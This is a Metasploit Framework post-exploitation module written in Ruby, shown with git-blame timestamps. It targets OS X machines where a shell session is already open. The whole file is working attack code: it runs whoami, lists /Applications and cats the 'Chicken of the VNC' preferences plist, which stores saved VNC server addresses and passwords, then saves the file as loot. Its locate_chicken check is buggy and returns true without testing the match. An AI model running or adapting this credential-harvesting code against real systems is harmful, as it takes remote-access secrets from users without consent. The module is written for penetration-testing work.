2012-03-21 09:04:35 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/common'
|
|
|
|
require 'msf/core/post/file'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Common
|
|
|
|
include Msf::Post::File
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2012-08-14 20:29:21 +00:00
|
|
|
'Name' => 'OS X Gather Chicken of the VNC Profile',
|
2012-03-21 09:04:35 +00:00
|
|
|
'Description' => %q{
|
2012-03-26 21:26:40 +00:00
|
|
|
This module will download the "Chicken of the VNC" client application's
|
|
|
|
profile file, which is used to store other VNC servers' information such
|
|
|
|
as as the IP and password.
|
2012-03-21 09:04:35 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'sinn3r'],
|
|
|
|
'Platform' => [ 'osx' ],
|
|
|
|
'SessionTypes' => [ "shell" ]
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def whoami
|
|
|
|
exec("/usr/bin/whoami")
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# This is just a wrapper for cmd_exec(), except it chomp() the output,
|
|
|
|
# and retry under certain conditions.
|
|
|
|
#
|
|
|
|
def exec(cmd)
|
2012-03-31 07:38:46 +00:00
|
|
|
tries = 0
|
2012-03-21 09:04:35 +00:00
|
|
|
begin
|
|
|
|
out = cmd_exec(cmd).chomp
|
|
|
|
rescue ::Timeout::Error => e
|
2012-03-31 07:38:46 +00:00
|
|
|
tries += 1
|
|
|
|
if tries < 3
|
|
|
|
vprint_error("#{@peer} - #{e.message} - retrying...")
|
|
|
|
retry
|
|
|
|
end
|
2012-03-21 09:04:35 +00:00
|
|
|
rescue EOFError => e
|
2012-03-31 07:38:46 +00:00
|
|
|
tries += 1
|
|
|
|
if tries < 3
|
|
|
|
vprint_error("#{@peer} - #{e.message} - retrying...")
|
|
|
|
retry
|
|
|
|
end
|
2012-03-21 09:04:35 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def dir(path)
|
|
|
|
subdirs = exec("ls -l #{path}")
|
|
|
|
return [] if subdirs =~ /No such file or directory/
|
|
|
|
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
|
|
|
|
return items
|
|
|
|
end
|
|
|
|
|
|
|
|
def locate_chicken
|
|
|
|
dir("/Applications/").each do |folder|
|
2012-03-21 09:31:49 +00:00
|
|
|
m = folder.match(/Chicken of the VNC\.app/)
|
2012-03-21 09:04:35 +00:00
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_profile_plist(user)
|
|
|
|
f = exec("cat /Users/#{user}/Library/Preferences/com.geekspiff.chickenofthevnc.plist")
|
|
|
|
if f =~ /No such file or directory/
|
|
|
|
return nil
|
|
|
|
else
|
|
|
|
return f
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def save(file)
|
|
|
|
p = store_loot(
|
|
|
|
"chickenvnc.profile",
|
|
|
|
"bin",
|
|
|
|
session,
|
|
|
|
file,
|
|
|
|
"com.geekspiff.chickenofthevnc.plist"
|
|
|
|
)
|
|
|
|
|
|
|
|
print_good("#{@peer} - plist saved in #{p}")
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
@peer = "#{session.session_host}:#{session.session_port}"
|
|
|
|
user = whoami
|
|
|
|
|
|
|
|
if not locate_chicken
|
|
|
|
print_error("#{@peer} - Chicken of the VNC is not installed")
|
|
|
|
return
|
|
|
|
else
|
|
|
|
print_status("#{@peer} - Chicken of the VNC found")
|
|
|
|
end
|
|
|
|
|
|
|
|
plist = get_profile_plist(user)
|
|
|
|
if plist.nil?
|
|
|
|
print_error("No profile plist found")
|
|
|
|
else
|
|
|
|
save(plist) if not plist.nil?
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-03-26 21:26:40 +00:00
|
|
|
end
|